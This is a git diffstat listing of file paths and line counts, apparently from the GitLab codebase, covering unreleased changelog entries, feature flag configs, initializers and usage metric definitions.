-rw-r--r--changelogs/unreleased/ph-232339-codeSuggestionsMultiLineComment.yml5
-rw-r--r--changelogs/unreleased/ph-296784-createMRButtonLoadingIcon.yml5
-rw-r--r--changelogs/unreleased/ph-325276-fixCommitCommentDropdownStyling.yml5
-rw-r--r--changelogs/unreleased/ph-todosProjectGroupDropdownApiCall.yml5
-rw-r--r--changelogs/unreleased/philipcunningham-add-backend-for-specifying-target-type-for-on-demand-294.yml5
-rw-r--r--changelogs/unreleased/philipcunningham-add-ci-secrets-225406.yml5
-rw-r--r--changelogs/unreleased/philipcunningham-add-excluded-urls-and-request-headers-to-dast-profiles-2.yml5
-rw-r--r--changelogs/unreleased/philipcunningham-delivery-dast-site-profile-secret-variable-225406.yml5
-rw-r--r--changelogs/unreleased/pks-git-minimum-v2-31-0.yml5
-rw-r--r--changelogs/unreleased/pks-lfs-quarantine.yml5
-rw-r--r--changelogs/unreleased/pks-workhorse-go-1-16.yml5
-rw-r--r--changelogs/unreleased/pl-rubocop-style-hashtransformation-app-directory.yml5
-rw-r--r--changelogs/unreleased/pl-rubocop-style-hashtransformation-ee-directory.yml5
-rw-r--r--changelogs/unreleased/pl-rubocop-style-hashtransformation-lib-directory.yml5
-rw-r--r--changelogs/unreleased/pl-rubocop-style-hashtransformation-spec-directory.yml5
-rw-r--r--changelogs/unreleased/pl-rubocop-todo-begin-end-alignment.yml5
-rw-r--r--changelogs/unreleased/pl-rubocop-todo-department-name.yml5
-rw-r--r--changelogs/unreleased/pl-rubocop-todo-parallel-assignment.yml5
-rw-r--r--changelogs/unreleased/pl-rubocop-todo-redundant-assignment.yml5
-rw-r--r--changelogs/unreleased/pl-rubocop-todo-redundant-safe-navigation.yml5
-rw-r--r--changelogs/unreleased/pl-rubocop-todo-redundant-self-assignment.yml5
-rw-r--r--changelogs/unreleased/pl-rubocop-todo-rescue-ensure-alignment.yml5
-rw-r--r--changelogs/unreleased/pl-rubocop-todo-where-not.yml5
-rw-r--r--changelogs/unreleased/plan-metrics-definitions.yml5
-rw-r--r--changelogs/unreleased/project-overview-copy-id.yml5
-rw-r--r--changelogs/unreleased/ps-refactor-user-internal-regex-handler.yml5
-rw-r--r--changelogs/unreleased/psi-dark-build.yml5
-rw-r--r--changelogs/unreleased/psi-dark-mermaid.yml5
-rw-r--r--changelogs/unreleased/psi-dark-navbar.yml5
-rw-r--r--changelogs/unreleased/psi-dark-select2.yml5
-rw-r--r--changelogs/unreleased/push_confidential_notes_ff_to_fe.yml5
-rw-r--r--changelogs/unreleased/qmnguyen0711-add-queue-to-background-transaction.yml5
-rw-r--r--changelogs/unreleased/qmnguyen0711-expand-a-histogram-bucket.yml5
-rw-r--r--changelogs/unreleased/qmnguyen0711-rollout-performance-bar-sort-order.yml5
-rw-r--r--changelogs/unreleased/query_count_expire_job_cache_worker.yml5
-rw-r--r--changelogs/unreleased/rails-save-bang-auth-controllers.yml5
-rw-r--r--changelogs/unreleased/rails-save-bang-factories.yml5
-rw-r--r--changelogs/unreleased/rails-save-bang-features-admin.yml5
-rw-r--r--changelogs/unreleased/rails-save-bang-features-dashboard.yml5
-rw-r--r--changelogs/unreleased/rails-save-bang-features-issues.yml5
-rw-r--r--changelogs/unreleased/rails-save-bang-features-projects.yml5
-rw-r--r--changelogs/unreleased/rails-save-bang-groups-controllers.yml5
-rw-r--r--changelogs/unreleased/rails-save-bang-initializers.yml5
-rw-r--r--changelogs/unreleased/rails-save-bang-profile-project-controllers.yml5
-rw-r--r--changelogs/unreleased/rails-save-bang-project-controllers.yml5
-rw-r--r--changelogs/unreleased/rails-save-bang-spec-features.yml5
-rw-r--r--changelogs/unreleased/re-enable-pages-serving-zip-from-disk.yml5
-rw-r--r--changelogs/unreleased/redirect-cicd-quick-buttons-to-pipeline-editor.yml5
-rw-r--r--changelogs/unreleased/reduce-pipline-tooltip-delay-to-zero.yml5
-rw-r--r--changelogs/unreleased/reduce_expire_pipeline_cache_worker_queries.yml5
-rw-r--r--changelogs/unreleased/ref-finder-performance-improvement.yml5
-rw-r--r--changelogs/unreleased/refactor-convert-admin-mode-feature-flag-to-setting.yml5
-rw-r--r--changelogs/unreleased/release-pages-1-37-0.yml5
-rw-r--r--changelogs/unreleased/remove-avatar-cache-ff.yml5
-rw-r--r--changelogs/unreleased/remove-ci-templates-usage-data-ff.yml5
-rw-r--r--changelogs/unreleased/remove-disabled-add-issues-modal.yml5
-rw-r--r--changelogs/unreleased/remove-feature-flag-fix-flag.yml6
-rw-r--r--changelogs/unreleased/remove-namespace_project_container_registry_index-json.yml5
-rw-r--r--changelogs/unreleased/remove-optimize_deploy_keys_presenter-feature-flag.yml5
-rw-r--r--changelogs/unreleased/remove-underline-credit.yml5
-rw-r--r--changelogs/unreleased/remove_epics_index.yml5
-rw-r--r--changelogs/unreleased/rename-create-issue.yml5
-rw-r--r--changelogs/unreleased/rename-vuln-fingerprints.yml5
-rw-r--r--changelogs/unreleased/rename_to_promote_smoother_transition.yml5
-rw-r--r--changelogs/unreleased/repository-set-cache-races.yml5
-rw-r--r--changelogs/unreleased/revert-0767b9e2.yml5
-rw-r--r--changelogs/unreleased/revert-fe676e7b.yml5
-rw-r--r--changelogs/unreleased/revert-inner-join-cte-fix.yml5
-rw-r--r--changelogs/unreleased/rollout-pat-revoke-gma.yml5
-rw-r--r--changelogs/unreleased/russell-improve-jira-service-help-text-2.yml5
-rw-r--r--changelogs/unreleased/sfang-fix-group-settings-link.yml5
-rw-r--r--changelogs/unreleased/sfang-token-read-write-permissions.yml5
-rw-r--r--changelogs/unreleased/sh-avoid-rate-limit-container-registry-events.yml5
-rw-r--r--changelogs/unreleased/sh-deploy-to-legacy-feature-flag.yml5
-rw-r--r--changelogs/unreleased/sh-enable-workhorse-extract-filename-base-default.yml5
-rw-r--r--changelogs/unreleased/sh-fix-encoded-api-project-urls.yml5
-rw-r--r--changelogs/unreleased/sh-global-use-distinct-object-hierarchy.yml5
-rw-r--r--changelogs/unreleased/sh-log-all-api-project-uploads.yml5
-rw-r--r--changelogs/unreleased/sh-log-upload-api-exceed-size.yml5
-rw-r--r--changelogs/unreleased/sh-pages-tmp-dir-use-build-id.yml5
-rw-r--r--changelogs/unreleased/sh-remove-kramdown-patch.yml5
-rw-r--r--changelogs/unreleased/sh-update-mailroom-config.yml5
-rw-r--r--changelogs/unreleased/sh-update-rails-6-0-3-6.yml5
-rw-r--r--changelogs/unreleased/sh-update-ruby-magic-0-4-0.yml5
-rw-r--r--changelogs/unreleased/sh-update-ruby-magic-static-0-3-5.yml5
-rw-r--r--changelogs/unreleased/sh-update-ruby-magic.yml5
-rw-r--r--changelogs/unreleased/sh-workhorse-api-upload-acceleration.yml5
-rw-r--r--changelogs/unreleased/show-user-name-pipeline.yml5
-rw-r--r--changelogs/unreleased/skip-individual-subscribed-access-filter.yml5
-rw-r--r--changelogs/unreleased/skr-networks.yml5
-rw-r--r--changelogs/unreleased/ssh_key_expiration.yml5
-rw-r--r--changelogs/unreleased/sy-on-call-usage-ping.yml5
-rw-r--r--changelogs/unreleased/sy-system-note-recovery-alert-string-change.yml5
-rw-r--r--changelogs/unreleased/tags-api-performance.yml5
-rw-r--r--changelogs/unreleased/tc-move-commit-buttons.yml5
-rw-r--r--changelogs/unreleased/tnir-Layout-SpaceAfterColon.yml5
-rw-r--r--changelogs/unreleased/top_level_group_recaptcha.yml5
-rw-r--r--changelogs/unreleased/tor-defect-overview-placeholder-message-diffs-new-data-source.yml6
-rw-r--r--changelogs/unreleased/tor-defect-overview-placeholder-message-overview-file-source.yml6
-rw-r--r--changelogs/unreleased/tor-defect-remove-endless-scroll-jquery-animation.yml6
-rw-r--r--changelogs/unreleased/tor-defect-single-quote-escapes.yml5
-rw-r--r--changelogs/unreleased/tor-feature-persist-file-by-file-api-save.yml5
-rw-r--r--changelogs/unreleased/turn_on_aggregated_code_review_metrics.yml5
-rw-r--r--changelogs/unreleased/ui-settings-okr-external-wiki.yml5
-rw-r--r--changelogs/unreleased/ui-text-bamboo-ci.yml5
-rw-r--r--changelogs/unreleased/ui-text-discord-integration.yml5
-rw-r--r--changelogs/unreleased/ui-text-drone-integration.yml5
-rw-r--r--changelogs/unreleased/ui-text-error-tracking.yml5
-rw-r--r--changelogs/unreleased/ui-text-integrations-assembla.yml5
-rw-r--r--changelogs/unreleased/ui-text-jenkins.yml5
-rw-r--r--changelogs/unreleased/ui-text-jetbrains-integration.yml5
-rw-r--r--changelogs/unreleased/ui-text-job-pipeline-runtime.yml5
-rw-r--r--changelogs/unreleased/ui-text-mattermost-integration.yml5
-rw-r--r--changelogs/unreleased/ui-text-operations-status.yml5
-rw-r--r--changelogs/unreleased/ui-text-pipelines-email.yml5
-rw-r--r--changelogs/unreleased/ui-text-slack-integration.yml5
-rw-r--r--changelogs/unreleased/unlock-all-file-types-for-file-repo-uploads.yml5
-rw-r--r--changelogs/unreleased/update-admin-edit-button-icon.yml5
-rw-r--r--changelogs/unreleased/update-auto-build-image-to-0-6-0.yml5
-rw-r--r--changelogs/unreleased/update-ci-template-default-branch-5.yml5
-rw-r--r--changelogs/unreleased/update-contribution-tooltip.yml5
-rw-r--r--changelogs/unreleased/update-gitlab-runner-helm-chart-to-0-27-0.yml5
-rw-r--r--changelogs/unreleased/update-ruby-in-dockerfile-templates.yml5
-rw-r--r--changelogs/unreleased/update-spinner-color-to-pajamas.yml5
-rw-r--r--changelogs/unreleased/upgrade-pages-1-38.yml5
-rw-r--r--changelogs/unreleased/use-atomic-mutations-boards.yml5
-rw-r--r--changelogs/unreleased/use-gitlab-applogger.yml5
-rw-r--r--changelogs/unreleased/validate-foreign-key-service-hooks.yml5
-rw-r--r--changelogs/unreleased/validation-service-token-to-config.yml5
-rw-r--r--changelogs/unreleased/vs-do-not-render-empty-title-help-popover.yml5
-rw-r--r--changelogs/unreleased/yo-btn-default-whooks.yml5
-rw-r--r--changelogs/unreleased/yo-fix-folder-line-alignment.yml5
-rw-r--r--config/application.rb31
-rw-r--r--config/bullet.yml44
-rw-r--r--config/feature_flags/development/add_issues_button.yml8
-rw-r--r--config/feature_flags/development/allow_force_push_to_protected_branches.yml2
-rw-r--r--config/feature_flags/development/api_caching_tags.yml8
-rw-r--r--config/feature_flags/development/async_handle_merge_request_assignees_change.yml8
-rw-r--r--config/feature_flags/development/attachment_with_filename.yml8
-rw-r--r--config/feature_flags/development/avatar_cache_for_email.yml8
-rw-r--r--config/feature_flags/development/batch_suggestions.yml8
-rw-r--r--config/feature_flags/development/board_new_list.yml2
-rw-r--r--config/feature_flags/development/cached_sidebar_merge_requests_count.yml8
-rw-r--r--config/feature_flags/development/cached_sidebar_open_epics_count.yml8
-rw-r--r--config/feature_flags/development/cached_sidebar_open_issues_count.yml8
-rw-r--r--config/feature_flags/development/cascading_namespace_settings.yml8
-rw-r--r--config/feature_flags/development/check_maven_path_first.yml8
-rw-r--r--config/feature_flags/development/check_mergeability_async_in_widget.yml8
-rw-r--r--config/feature_flags/development/ci_commit_pipeline_mini_graph_vue.yml8
-rw-r--r--config/feature_flags/development/ci_external_validation_service.yml8
-rw-r--r--config/feature_flags/development/ci_instance_variables_ui.yml8
-rw-r--r--config/feature_flags/development/ci_needs_optional.yml2
-rw-r--r--config/feature_flags/development/ci_no_empty_groups.yml8
-rw-r--r--config/feature_flags/development/ci_pipeline_ensure_iid_on_drop.yml8
-rw-r--r--config/feature_flags/development/ci_preload_runner_tags.yml2
-rw-r--r--config/feature_flags/development/ci_reduce_queries_when_ticking_runner_queue.yml2
-rw-r--r--config/feature_flags/development/ci_register_job_service_one_by_one.yml2
-rw-r--r--config/feature_flags/development/ci_runner_builds_queue_on_replicas.yml8
-rw-r--r--config/feature_flags/development/ci_trigger_payload_into_pipeline.yml8
-rw-r--r--config/feature_flags/development/ci_wildcard_file_paths.yml8
-rw-r--r--config/feature_flags/development/ci_workflow_rules_variables.yml8
-rw-r--r--config/feature_flags/development/cluster_agent_list.yml8
-rw-r--r--config/feature_flags/development/code_review_async_pipeline_creation.yml8
-rw-r--r--config/feature_flags/development/codequality_backend_comparison.yml8
-rw-r--r--config/feature_flags/development/combined_menu.yml8
-rw-r--r--config/feature_flags/development/container_registry_expiration_policies_loopless.yml8
-rw-r--r--config/feature_flags/development/customize_homepage.yml8
-rw-r--r--config/feature_flags/development/destroy_issuable_todos_async.yml8
-rw-r--r--config/feature_flags/development/diff_line_syntax_highlighting.yml8
-rw-r--r--config/feature_flags/development/dora_daily_metrics.yml8
-rw-r--r--config/feature_flags/development/dynamic_nonce_creation.yml8
-rw-r--r--config/feature_flags/development/enforce_max_attachment_size_upload_api.yml8
-rw-r--r--config/feature_flags/development/erase_traces_from_already_archived_jobs_when_archiving_again.yml8
-rw-r--r--config/feature_flags/development/geo_pipeline_artifact_replication.yml8
-rw-r--r--config/feature_flags/development/gitaly_find_file.yml8
-rw-r--r--config/feature_flags/development/gitaly_replace_wiki_delete_page.yml8
-rw-r--r--config/feature_flags/development/gitlab_ci_builds_queue_limit.yml2
-rw-r--r--config/feature_flags/development/gitlab_org_sitemap.yml8
-rw-r--r--config/feature_flags/development/gldropdown_tags.yml8
-rw-r--r--config/feature_flags/development/graphql_individual_release_page.yml8
-rw-r--r--config/feature_flags/development/graphql_pipeline_details.yml2
-rw-r--r--config/feature_flags/development/infrastructure_registry_page.yml8
-rw-r--r--config/feature_flags/development/inherited_issuable_templates.yml2
-rw-r--r--config/feature_flags/development/issue_assignees_widget.yml8
-rw-r--r--config/feature_flags/development/jira_issues_list.yml8
-rw-r--r--config/feature_flags/development/jira_issues_show_integration.yml8
-rw-r--r--config/feature_flags/development/jobs_table_vue.yml8
-rw-r--r--config/feature_flags/development/lfs_integrity_inspect_quarantined_objects.yml8
-rw-r--r--config/feature_flags/development/load_balancing_atomic_replica.yml8
-rw-r--r--config/feature_flags/development/load_balancing_for_build_hooks_worker.yml8
-rw-r--r--config/feature_flags/development/load_balancing_for_bulk_cron_workers.yml8
-rw-r--r--config/feature_flags/development/longer_count_cache_validity.yml8
-rw-r--r--config/feature_flags/development/loose_index_scan_for_distinct_values.yml8
-rw-r--r--config/feature_flags/development/maven_metadata_by_path_with_optimization_fence.yml8
-rw-r--r--config/feature_flags/development/maven_packages_group_level_improvements.yml8
-rw-r--r--config/feature_flags/development/merge_request_cached_merge_pipeline_serializer.yml8
-rw-r--r--config/feature_flags/development/merge_request_cached_pipeline_serializer.yml8
-rw-r--r--config/feature_flags/development/migrate_delayed_project_removal.yml8
-rw-r--r--config/feature_flags/development/multiple_cache_per_job.yml2
-rw-r--r--config/feature_flags/development/new_pipelines_table.yml8
-rw-r--r--config/feature_flags/development/notification_setting_recipient_refactor.yml8
-rw-r--r--config/feature_flags/development/other_storage_tab.yml8
-rw-r--r--config/feature_flags/development/packages_finder_helper_deploy_token.yml8
-rw-r--r--config/feature_flags/development/pages_migration_mark_as_not_deployed.yml8
-rw-r--r--config/feature_flags/development/pages_serve_from_migrated_zip.yml8
-rw-r--r--config/feature_flags/development/periodic_project_authorization_update_via_replica.yml8
-rw-r--r--config/feature_flags/development/phabricator_import.yml2
-rw-r--r--config/feature_flags/development/pick_into_project.yml2
-rw-r--r--config/feature_flags/development/pipeline_editor_branch_switcher.yml8
-rw-r--r--config/feature_flags/development/pipeline_editor_empty_state_action.yml2
-rw-r--r--config/feature_flags/development/pipeline_filter_jobs.yml8
-rw-r--r--config/feature_flags/development/pipeline_graph_layers_view.yml8
-rw-r--r--config/feature_flags/development/pipeline_status_for_pipeline_editor.yml2
-rw-r--r--config/feature_flags/development/preload_associations_jobs_request_api_endpoint.yml8
-rw-r--r--config/feature_flags/development/product_intelligence_metrics_names_suggestions.yml8
-rw-r--r--config/feature_flags/development/project_sidebar_refactor.yml8
-rw-r--r--config/feature_flags/development/projects_post_creation_worker.yml8
-rw-r--r--config/feature_flags/development/recursive_namespace_lookup_as_inner_join.yml8
-rw-r--r--config/feature_flags/development/refactor_blob_viewer.yml8
-rw-r--r--config/feature_flags/development/reject_unsigned_commits_by_gitlab.yml8
-rw-r--r--config/feature_flags/development/remove_resolve_note.yml8
-rw-r--r--config/feature_flags/development/resolve_merge_request_todos_async.yml8
-rw-r--r--config/feature_flags/development/resource_access_token_feature.yml8
-rw-r--r--config/feature_flags/development/runner_detailed_view_vue_ui.yml8
-rw-r--r--config/feature_flags/development/runners_cached_states.yml8
-rw-r--r--config/feature_flags/development/scoped_group_variables.yml8
-rw-r--r--config/feature_flags/development/search_settings_in_page.yml8
-rw-r--r--config/feature_flags/development/security_dast_site_profiles_additional_fields.yml2
-rw-r--r--config/feature_flags/development/security_dast_site_profiles_api_option.yml8
-rw-r--r--config/feature_flags/development/sentry_processors_before_send.yml8
-rw-r--r--config/feature_flags/development/simplified_commit_status_group_name.yml8
-rw-r--r--config/feature_flags/development/skip_dag_manual_and_delayed_jobs.yml8
-rw-r--r--config/feature_flags/development/skip_pages_deploy_to_legacy_storage.yml8
-rw-r--r--config/feature_flags/development/ssh_key_expiration_email_notification.yml8
-rw-r--r--config/feature_flags/development/swimlanes_buffered_rendering.yml8
-rw-r--r--config/feature_flags/development/sync_traversal_ids.yml7
-rw-r--r--config/feature_flags/development/upgrade_link_in_user_menu_a.yml8
-rw-r--r--config/feature_flags/development/usage_data_api.yml8
-rw-r--r--config/feature_flags/development/usage_data_code_review_aggregation.yml2
-rw-r--r--config/feature_flags/development/usage_data_g_compliance_dashboard.yml8
-rw-r--r--config/feature_flags/development/usage_data_i_analytics_cohorts.yml8
-rw-r--r--config/feature_flags/development/usage_data_i_incident_management_oncall_notification_sent.yml8
-rw-r--r--config/feature_flags/development/usage_data_i_testing_summary_widget_total.yml8
-rw-r--r--config/feature_flags/development/usage_data_o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile.yml2
-rw-r--r--config/feature_flags/development/usage_data_track_ci_templates_unique_projects.yml8
-rw-r--r--config/feature_flags/development/use_distinct_for_all_object_hierarchy.yml8
-rw-r--r--config/feature_flags/development/use_distinct_in_register_job_object_hierarchy.yml8
-rw-r--r--config/feature_flags/development/use_marker_ranges.yml8
-rw-r--r--config/feature_flags/development/use_traversal_ids.yml8
-rw-r--r--config/feature_flags/development/user_mode_in_session.yml8
-rw-r--r--config/feature_flags/development/users_expanding_widgets_usage_data.yml8
-rw-r--r--config/feature_flags/development/value_stream_analytics_extended_form.yml8
-rw-r--r--config/feature_flags/development/variable_inside_variable.yml6
-rw-r--r--config/feature_flags/development/workhorse_extract_filename_base.yml8
-rw-r--r--config/feature_flags/experiment/invite_members_in_comment.yml8
-rw-r--r--config/feature_flags/experiment/new_repo.yml8
-rw-r--r--config/feature_flags/experiment/pipeline_empty_state_templates.yml8
-rw-r--r--config/feature_flags/ops/execute_batched_migrations_on_schedule.yml8
-rw-r--r--config/feature_flags/ops/gitlab_service_measuring_projects_create_service.yml8
-rw-r--r--config/feature_flags/ops/gitlab_service_measuring_projects_import_export_export_service.yml8
-rw-r--r--config/feature_flags/ops/gitlab_service_measuring_projects_import_service.yml8
-rw-r--r--config/feature_flags/ops/recaptcha_on_top_level_group_creation.yml8
-rw-r--r--config/feature_flags/ops/redis_hll_tracking.yml8
-rw-r--r--config/feature_flags/ops/usage_data_api.yml8
-rw-r--r--config/feature_flags/ops/usage_data_non_sql_metrics.yml8
-rw-r--r--config/feature_flags/ops/usage_data_queries_api.yml8
-rw-r--r--config/feature_flags/ops/x509_forced_cert_loading.yml8
-rw-r--r--config/gitlab.yml.example18
-rw-r--r--config/helpers/check_frontend_integration_env.js37
-rw-r--r--config/initializers/0_inject_enterprise_edition_module.rb6
-rw-r--r--config/initializers/0_license.rb14
-rw-r--r--config/initializers/0_marginalia.rb2
-rw-r--r--config/initializers/1_settings.rb32
-rw-r--r--config/initializers/active_record_ping.rb2
-rw-r--r--config/initializers/active_record_preloader.rb1
-rw-r--r--config/initializers/bullet.rb14
-rw-r--r--config/initializers/graphql.rb2
-rw-r--r--config/initializers/hangouts_chat_http_override.rb3
-rw-r--r--config/initializers/json_validator_patch.rb28
-rw-r--r--config/initializers/kramdown_patch.rb25
-rw-r--r--config/initializers/pages_storage_check.rb14
-rw-r--r--config/initializers/postgres_cte_as_materialized.rb14
-rw-r--r--config/initializers/postgresql_cte.rb2
-rw-r--r--config/initializers/puma_client_tempfile_patch.rb103
-rw-r--r--config/initializers/query_limiting.rb2
-rw-r--r--config/initializers/smtp_settings.rb.sample27
-rw-r--r--config/initializers/trusted_proxies.rb2
-rw-r--r--config/initializers_before_autoloader/000_inflections.rb2
-rw-r--r--config/known_invalid_graphql_queries.yml3
-rw-r--r--config/locales/devise.en.yml4
-rw-r--r--config/mail_room.yml7
-rw-r--r--config/metrics/aggregates/code_review.yml105
-rw-r--r--config/metrics/aggregates/common.yml64
-rw-r--r--config/metrics/counts_28d/20210216175405_clusters_applications_cert_managers.yml1
-rw-r--r--config/metrics/counts_28d/20210216175407_clusters_applications_helm.yml1
-rw-r--r--config/metrics/counts_28d/20210216175409_clusters_applications_ingress.yml1
-rw-r--r--config/metrics/counts_28d/20210216175411_clusters_applications_knative.yml1
-rw-r--r--config/metrics/counts_28d/20210216175413_clusters_management_project.yml1
-rw-r--r--config/metrics/counts_28d/20210216175415_clusters_disabled.yml1
-rw-r--r--config/metrics/counts_28d/20210216175417_clusters_enabled.yml1
-rw-r--r--config/metrics/counts_28d/20210216175419_clusters_platforms_gke.yml1
-rw-r--r--config/metrics/counts_28d/20210216175420_clusters_platforms_eks.yml1
-rw-r--r--config/metrics/counts_28d/20210216175422_clusters_platforms_user.yml1
-rw-r--r--config/metrics/counts_28d/20210216175424_instance_clusters_disabled.yml1
-rw-r--r--config/metrics/counts_28d/20210216175426_instance_clusters_enabled.yml1
-rw-r--r--config/metrics/counts_28d/20210216175428_group_clusters_disabled.yml1
-rw-r--r--config/metrics/counts_28d/20210216175430_group_clusters_enabled.yml1
-rw-r--r--config/metrics/counts_28d/20210216175432_project_clusters_disabled.yml1
-rw-r--r--config/metrics/counts_28d/20210216175434_project_clusters_enabled.yml1
-rw-r--r--config/metrics/counts_28d/20210216181139_issues.yml14
-rw-r--r--config/metrics/counts_28d/20210216181141_notes.yml14
-rw-r--r--config/metrics/counts_28d/20210216181143_projects.yml14
-rw-r--r--config/metrics/counts_28d/20210216181145_todos.yml14
-rw-r--r--config/metrics/counts_28d/20210216181200_label_lists.yml14
-rw-r--r--config/metrics/counts_28d/20210216181201_milestone_lists.yml16
-rw-r--r--config/metrics/counts_28d/20210216181304_g_project_management_issue_title_changed_monthly.yml4
-rw-r--r--config/metrics/counts_28d/20210216181308_g_project_management_issue_description_changed_monthly.yml4
-rw-r--r--config/metrics/counts_28d/20210216181311_g_project_management_issue_assignee_changed_monthly.yml19
-rw-r--r--config/metrics/counts_28d/20210216181315_g_project_management_issue_made_confidential_monthly.yml4
-rw-r--r--config/metrics/counts_28d/20210216181319_g_project_management_issue_made_visible_monthly.yml4
-rw-r--r--config/metrics/counts_28d/20210216181323_g_project_management_issue_created_monthly.yml4
-rw-r--r--config/metrics/counts_28d/20210216181326_g_project_management_issue_closed_monthly.yml4
-rw-r--r--config/metrics/counts_28d/20210216181330_g_project_management_issue_reopened_monthly.yml4
-rw-r--r--config/metrics/counts_28d/20210216181334_g_project_management_issue_label_changed_monthly.yml4
-rw-r--r--config/metrics/counts_28d/20210216181337_g_project_management_issue_milestone_changed_monthly.yml4
-rw-r--r--config/metrics/counts_28d/20210216181341_g_project_management_issue_iteration_changed_monthly.yml16
-rw-r--r--config/metrics/counts_28d/20210216181345_g_project_management_issue_weight_changed_monthly.yml16
-rw-r--r--config/metrics/counts_28d/20210216181348_g_project_management_issue_cross_referenced_monthly.yml4
-rw-r--r--config/metrics/counts_28d/20210216181352_g_project_management_issue_moved_monthly.yml4
-rw-r--r--config/metrics/counts_28d/20210216181356_g_project_management_issue_related_monthly.yml4
-rw-r--r--config/metrics/counts_28d/20210216181400_g_project_management_issue_unrelated_monthly.yml4
-rw-r--r--config/metrics/counts_28d/20210216181403_g_project_management_issue_marked_as_duplicate_monthly.yml4
-rw-r--r--config/metrics/counts_28d/20210216181407_g_project_management_issue_locked_monthly.yml4
-rw-r--r--config/metrics/counts_28d/20210216181411_g_project_management_issue_unlocked_monthly.yml6
-rw-r--r--config/metrics/counts_28d/20210216181414_g_project_management_issue_added_to_epic_monthly.yml16
-rw-r--r--config/metrics/counts_28d/20210216181416_g_project_management_issue_removed_from_epic_monthly.yml16
-rw-r--r--config/metrics/counts_28d/20210216181420_g_project_management_issue_changed_epic_monthly.yml16
-rw-r--r--config/metrics/counts_28d/20210216181424_g_project_management_issue_designs_added_monthly.yml4
-rw-r--r--config/metrics/counts_28d/20210216181427_g_project_management_issue_designs_modified_monthly.yml4
-rw-r--r--config/metrics/counts_28d/20210216181431_g_project_management_issue_designs_removed_monthly.yml4
-rw-r--r--config/metrics/counts_28d/20210216181435_g_project_management_issue_due_date_changed_monthly.yml4
-rw-r--r--config/metrics/counts_28d/20210216181438_g_project_management_issue_time_estimate_changed_monthly.yml6
-rw-r--r--config/metrics/counts_28d/20210216181442_g_project_management_issue_time_spent_changed_monthly.yml6
-rw-r--r--config/metrics/counts_28d/20210216181446_g_project_management_issue_comment_added_monthly.yml4
-rw-r--r--config/metrics/counts_28d/20210216181450_g_project_management_issue_comment_edited_monthly.yml4
-rw-r--r--config/metrics/counts_28d/20210216181453_g_project_management_issue_comment_removed_monthly.yml4
-rw-r--r--config/metrics/counts_28d/20210216181457_g_project_management_issue_health_status_changed_monthly.yml16
-rw-r--r--config/metrics/counts_28d/20210216181501_g_project_management_issue_cloned_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216181504_issues_edit_total_unique_counts_monthly.yml6
-rw-r--r--config/metrics/counts_28d/20210216181508_i_quickactions_approve_monthly.yml12
-rw-r--r--config/metrics/counts_28d/20210216181512_i_quickactions_assign_single_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216181516_i_quickactions_assign_multiple_monthly.yml16
-rw-r--r--config/metrics/counts_28d/20210216181519_i_quickactions_assign_self_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216181523_i_quickactions_assign_reviewer_monthly.yml12
-rw-r--r--config/metrics/counts_28d/20210216181527_i_quickactions_award_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216181530_i_quickactions_board_move_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216181534_i_quickactions_child_epic_monthly.yml16
-rw-r--r--config/metrics/counts_28d/20210216181538_i_quickactions_clear_weight_monthly.yml16
-rw-r--r--config/metrics/counts_28d/20210216181541_i_quickactions_clone_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216181545_i_quickactions_close_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216181549_i_quickactions_confidential_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216181553_i_quickactions_copy_metadata_merge_request_monthly.yml12
-rw-r--r--config/metrics/counts_28d/20210216181556_i_quickactions_copy_metadata_issue_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216181600_i_quickactions_create_merge_request_monthly.yml9
-rw-r--r--config/metrics/counts_28d/20210216181604_i_quickactions_done_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216181607_i_quickactions_draft_monthly.yml12
-rw-r--r--config/metrics/counts_28d/20210216181611_i_quickactions_due_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216181615_i_quickactions_duplicate_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216181618_i_quickactions_epic_monthly.yml16
-rw-r--r--config/metrics/counts_28d/20210216181622_i_quickactions_estimate_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216181626_i_quickactions_iteration_monthly.yml16
-rw-r--r--config/metrics/counts_28d/20210216181629_i_quickactions_label_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216181633_i_quickactions_lock_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216181637_i_quickactions_merge_monthly.yml12
-rw-r--r--config/metrics/counts_28d/20210216181641_i_quickactions_milestone_monthly.yml10
-rw-r--r--config/metrics/counts_28d/20210216181644_i_quickactions_move_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216181648_i_quickactions_parent_epic_monthly.yml16
-rw-r--r--config/metrics/counts_28d/20210216181652_i_quickactions_promote_monthly.yml16
-rw-r--r--config/metrics/counts_28d/20210216181655_i_quickactions_publish_monthly.yml16
-rw-r--r--config/metrics/counts_28d/20210216181659_i_quickactions_reassign_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216181703_i_quickactions_reassign_reviewer_monthly.yml12
-rw-r--r--config/metrics/counts_28d/20210216181707_i_quickactions_rebase_monthly.yml12
-rw-r--r--config/metrics/counts_28d/20210216181710_i_quickactions_relabel_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216181714_i_quickactions_relate_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216181718_i_quickactions_remove_child_epic_monthly.yml16
-rw-r--r--config/metrics/counts_28d/20210216181721_i_quickactions_remove_due_date_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216181725_i_quickactions_remove_epic_monthly.yml16
-rw-r--r--config/metrics/counts_28d/20210216181729_i_quickactions_remove_estimate_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216181732_i_quickactions_remove_iteration_monthly.yml16
-rw-r--r--config/metrics/counts_28d/20210216181736_i_quickactions_remove_milestone_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216181740_i_quickactions_remove_parent_epic_monthly.yml16
-rw-r--r--config/metrics/counts_28d/20210216181744_i_quickactions_remove_time_spent_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216181747_i_quickactions_remove_zoom_monthly.yml8
